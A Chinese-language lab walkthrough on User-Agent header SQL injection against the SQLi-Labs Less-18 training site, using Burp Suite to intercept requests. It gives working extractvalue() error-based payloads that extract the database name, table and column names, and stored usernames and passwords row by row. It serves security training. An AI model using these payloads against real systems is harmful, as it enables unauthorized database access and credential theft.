HTTP头部注入 --User-Agent

实验原理

有时候,后台开发人员为了验证客户端HTTP Header (比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注
入、XFF注入等。

1.访问SQLi-Labs网站

访问Less-18

http://本机IP/sqli-labs/Less-18

HTTP头部注入 --User-Agent_第1张图片

2.利用Burpsuite工具抓包

1)启动Burpsuite并设置代理服务端口

HTTP头部注入 --User-Agent_第2张图片

2)设置Firefox代理

HTTP头部注入 --User-Agent_第3张图片

 注意:端口要一致

3)开启 Burpsuite的代理拦截功能
HTTP头部注入 --User-Agent_第4张图片

 4)利用Burpsuite工具拦截HTTP请求包

在Firefox浏览器访问Less-18登录界面,输入用户名admin、密码任意,然后点击Submit。此时,Burpsuite会拦截到HTTP请求包

HTTP头部注入 --User-Agent_第5张图片

 5)将Burpsuite工具拦截到的HTTP请求包发送至 Repeater模块

单击鼠标右键,在弹出的菜单中选择Send to Repeater",将其发送给Burpsuite的 Repeater模块

HTTP头部注入 --User-Agent_第6张图片

 3.寻找注入点

HTTP头部注入 --User-Agent_第7张图片

在原始HTTP请求包的头部字段User-Agent末尾添加单引号,Send后发现报错!

HTTP头部注入 --User-Agent_第8张图片 在原始HTTP请求包的头部字段User-Agent末尾添加','','')#,Send后发现未报错!

由此可以判断,目标网站在POST参数处存在字符型注入点

 4.获取网站当前所在数据库的库名

...Firefox/97.0' and extractvalue(1, concat( '~',database())),'','')#

HTTP头部注入 --User-Agent_第9张图片

 5.获取数据库security的全部表名

...Firefox/97.0' and extractvalue(1, concat( '~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

HTTP头部注入 --User-Agent_第10张图片

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助 limit来做分行显示

具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客

6.获取users表的全部字段名

...Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

HTTP头部注入 --User-Agent_第11张图片

显示结果,users表中有id、username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示

具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客

7.获取users表id,username,和password字段的全部值

1)显示第一组数据

...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

HTTP头部注入 --User-Agent_第12张图片

2)显示第二组数据

...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#

HTTP头部注入 --User-Agent_第13张图片

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。 

你可能感兴趣的:(SQL注入,web安全,SQL注入)